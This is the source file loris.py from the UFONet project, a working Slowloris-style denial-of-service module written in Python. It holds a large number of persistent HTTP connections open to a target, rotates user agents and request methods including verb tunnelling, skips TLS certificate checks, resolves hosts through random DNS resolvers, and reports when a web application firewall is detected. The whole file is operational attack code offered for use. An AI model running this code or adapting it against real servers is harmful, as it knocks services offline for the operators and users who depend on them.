loris.py 5.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, random, ssl, re
  11. from urllib.parse import urlparse
  12. # UFONet Slow HTTP requests (LORIS) + [AI] WAF Detection
  13. def setupSocket(self, ip):
  14. method = random.choice(self.methods)
  15. port = 80
  16. if ip.startswith('http://'):
  17. ip = ip.replace('http://','')
  18. port = 80
  19. elif ip.startswith('https://'):
  20. ip = ip.replace('https://','')
  21. port = 443
  22. if ':' in ip and not ip.count(':') > 1:
  23. host_part, port_part = ip.rsplit(':', 1)
  24. if port_part.isdigit():
  25. ip = host_part
  26. port = int(port_part)
  27. self.user_agent = random.choice(self.agents).strip()
  28. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  29. sock.settimeout(10)
  30. if port == 443:
  31. ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
  32. ctx.check_hostname = False
  33. ctx.verify_mode = ssl.CERT_NONE
  34. sock = ctx.wrap_socket(sock, server_hostname=ip)
  35. sock.connect((ip, port))
  36. if method == "GET":
  37. http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  38. elif method == "POST":
  39. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  40. else:
  41. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n" # "Verb Tunneling Abuse" -> [RFC2616]
  42. sock.sendall(http_req.encode('utf-8'))
  43. resp = sock.recv(1280).split("\n".encode('utf-8'))
  44. for l in resp:
  45. if "Location:".encode('utf-8') in l:
  46. try:
  47. ip = re.findall(r'https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
  48. try:
  49. ip = socket.gethostbyname(ip)
  50. except:
  51. try:
  52. import dns.resolver
  53. r = dns.resolver.Resolver()
  54. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  55. url = urlparse(ip)
  56. a = r.resolve(url.netloc, "A") # A record
  57. for rd in a:
  58. ip = str(rd)
  59. except:
  60. ip = target
  61. except:
  62. pass
  63. else:
  64. self.wafs_file = "core/txt/wafs.txt" # set source path to retrieve 'wafs'
  65. try:
  66. f = open(self.wafs_file)
  67. wafs = f.readlines()
  68. f.close()
  69. except:
  70. wafs = "broken!"
  71. sep = "##"
  72. for w in wafs:
  73. if sep in w:
  74. w = w.split(sep)
  75. signature = w[0] # signature
  76. t = w[1] # vendor
  77. if signature in l.decode('utf-8'):
  78. print("[Info] [AI] [Control] FIREWALL DETECTED!! -> [" , str(t.split("\n")[0]) , "]")
  79. self.warn_flag = True
  80. return
  81. return sock, ip
  82. def tractor(self, ip, requests):
  83. n=0
  84. try:
  85. for i in range(requests):
  86. n=n+1
  87. try:
  88. sock, ip = setupSocket(self, ip)
  89. print("[Info] [AI] [LORIS] Firing 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
  90. except:
  91. print("[Error] [AI] [LORIS] Failed to engage with 'tractor beam' ["+str(n)+"]")
  92. self.sockets.append(sock)
  93. while True: # try to abuse HTTP Headers
  94. for sock in list(self.sockets):
  95. try:
  96. sock, ip = setupSocket(self, ip)
  97. except socket.error:
  98. self.sockets.remove(sock)
  99. for i in range(requests - len(self.sockets)):
  100. print("[Info] [AI] [LORIS] Re-opening closed 'tractor beam' -> [RE-LINKED!]")
  101. sock, ip = setupSocket(self, ip)
  102. if sock:
  103. self.sockets.append(sock)
  104. except:
  105. if self.warn_flag == False:
  106. print("[Error] [AI] [LORIS] Failing to engage... -> Is still target online? -> [Checking!]")
  107. else:
  108. print("[Info] [AI] [LORIS] The attack may not be effective due to the presence of a [FIREWALL] that blocks persistent connections -> [ABORTING!]")
  109. class LORIS(object):
  110. def __init__(self):
  111. self.warn_flag = False
  112. self.sockets = []
  113. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  114. self.agents = []
  115. f = open(self.agents_file)
  116. agents = f.readlines()
  117. f.close()
  118. for agent in agents:
  119. self.agents.append(agent)
  120. self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
  121. def attacking(self, target, requests):
  122. print("[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]")
  123. try:
  124. ip = socket.gethostbyname(target)
  125. except:
  126. try:
  127. import dns.resolver
  128. r = dns.resolver.Resolver()
  129. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  130. url = urlparse(target)
  131. a = r.resolve(url.netloc, "A") # A record
  132. for rd in a:
  133. ip = str(rd)
  134. except:
  135. ip = target
  136. tractor(self, ip, requests) # attack with LORIS using threading